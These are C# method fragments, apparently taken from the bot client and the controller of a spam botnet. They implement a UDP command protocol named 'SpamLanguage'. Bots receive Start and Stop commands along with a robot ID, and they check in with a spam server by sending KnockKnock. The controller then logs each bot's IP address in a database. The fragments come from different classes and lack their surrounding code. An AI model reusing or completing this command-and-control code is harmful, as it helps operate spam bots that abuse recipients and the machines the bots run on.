static void UdpReceived(IAsyncResult iar) { IPEndPoint remoteIPEndPoint = null; byte[] bytes = udpClient.EndReceive(iar, ref remoteIPEndPoint); SpamLanguage verb = (SpamLanguage)bytes[0]; switch (verb) { case SpamLanguage.Start: if (bytes.Length >= sizeof(Int32) + 1) { sets.RobotId = BitConverter.ToInt32(bytes, 1); } if (!InProcess) { InProcess = true; } break; case SpamLanguage.Stop: InProcess = false; break; } udpClient.BeginReceive(UdpReceived, iar); }
static void Say(string Host, int Port, SpamLanguage cmd, byte[] attachment) { byte[] dgrm = new byte[attachment.Length + 1]; dgrm[0] = (byte)cmd; for (int i = 0; i < attachment.Length; i++) { dgrm[i + 1] = attachment[i]; } UdpClient uclient = null; try { uclient = new UdpClient(Host, Port); uclient.Send(dgrm, dgrm.Length); } catch (SocketException sexc) { MessageBox.Show(sexc.Message); } finally { if (uclient != null) { uclient.Close(); } } }
void Priem(IAsyncResult iar) { IPEndPoint remoteIPEndPoint = null; byte[] bytes = udpClient.EndReceive(iar, ref remoteIPEndPoint); SpamLanguage verb = (SpamLanguage)bytes[0]; switch (verb) { case SpamLanguage.KnockKnock: if (DbAvailable) { string ipStr = remoteIPEndPoint.Address.ToString(); dbClient.AddRobot(ipStr); } break; default: Thread messageThread = new Thread(new ThreadStart(delegate() { MessageBox.Show("Incorrect command received"); })); messageThread.Start(); break; } udpClient.BeginReceive(Priem, iar); }
static void Say(string Host, int Port, SpamLanguage cmd) { Say(Host, Port, cmd, new byte[0]); }
/// <summary> /// Sends command to the Settings.SpamServerHost:Settings.SpamServerPort /// </summary> static void Say(SpamLanguage cmd) { Say(sets.SpamServerHost, sets.SpamServerPort, cmd); }